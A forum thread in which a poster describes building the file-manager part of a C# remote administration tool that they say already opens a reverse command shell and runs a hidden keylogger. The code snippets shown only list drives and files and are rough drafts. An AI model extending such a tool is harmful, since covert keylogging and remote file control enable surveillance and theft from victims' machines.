C# File Manager Remote
Ok so heres the scoop i made a remote admin tool that is capable of shoveling a reverse cmd prompt and also running a embeded keylogger as a hidden process now i want to move on to the File Manager and heres what i think maybe im wrong etc
what i want to do is make a class for hardrives, a class for directories/paths, and a filename class
each one of these classes would have respective lists that would be populated by calling system functions ill show pseudo code
when these calls are made all of the lists will contain the list of drives/paths/filenames
catch my drift yet?
so the point of this is i want to be able to serialize this data like so
{
public List<string>HardDrives = new List<string>();
public string Hardrives { get; set; } // String property for hardrives cvlass
public int Number { get; set; } // Number of hardrives
public bool filestatus{ get; set; } // Whether the file status is either true or false
public Hardrives()
{
string[] drives = System.IO.Directory.GetLogicalDrives();
foreach (string str in drives)
{
HardDrives.Add(str);
}
}
}```
this is pseudo code and i highly doubt it will compile as this is out of my head and piecing together odds and ends of examples to suit my needs
but the basic idea if this works is i want to use a binary serializer to transfer the contents of these lists of hardrives
dris and sub dirs as well as file names into a bi nary serializer and transfer them encrypted with 3des etc and deserialize them on the client end of things does this sound feasible?
ok updated code
GlobalKeyboardHook gHook;
public List<string> HardDrives = new List<string>();
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
FileManager();
displayMembers(HardDrives);
}
public void FileManager()
{
string[] drives = System.IO.Directory.GetLogicalDrives();
foreach (string str in drives)
{
HardDrives.Add(str);
}
}
public string displayMembers(List<String> HardDrives)
{
foreach (String s in HardDrives)
{
textBox2.Text = String.Join(Environment.NewLine, HardDrives);
}
return null;
}
}```
this shit shoul work i hope do you guys get what im trying to do?
i bake therefore im fried!!
http://msdn.microsoft.com/en-us/library/d3eayw32%28v=vs.80%29.aspx this code looks good hoping for someone that knows how to do this
i bake therefore im fried!!
sorry if me uploading my work is annoying im trying to get help and share with people that are trying to do what i am but just cant figure out feel free to comment on my code even if it sucks tell me what may be wrong and maybe you can use it to
using System.Collections.Generic;
using System.IO;
class Program
{
static void Main()
{
// Make sure directory exists before using this!
var files = new List<string>(Directory.GetFiles("C:\\Temp",
"*.*",
SearchOption.AllDirectories));
Method(files);
}
static void Method(List<string> files)
{
Console.WriteLine("There Are" + "\t" + files.Count + "\t" + "Files" + "In THe Target Directory" + "\r\n");
Console.WriteLine("=========================================================");
Console.WriteLine("===============R3b00t3r_F1le_m4n4g3r=====================");
Console.WriteLine("\r\n");
foreach (string file in files)
{
Console.WriteLine(file);
}
Console.ReadLine();
}
}
this code uses a recursive function i made to output the amount of files and the drive+path are hardcoded im thinking if i can do this or something like this
this is going to be my file manger i am going to save this to a file and than upload it to the client via a request to initiate file sync than ill transfer the data in the text file somehow into a list and make that list populate my listbox so each name would be a unique selectable index so i can click on it and either download delete or view depending on how technical the code is
now for each drive letter we will recursively do this and print out to the user the files etc
i bake therefore im fried!!
ok i have been succesfully in my endeavors i now have a remote file system structure saved into a string builder that uses lists like li /ul etc and than encodes it to a byte array to be sent over tcp
i bake therefore im fried!!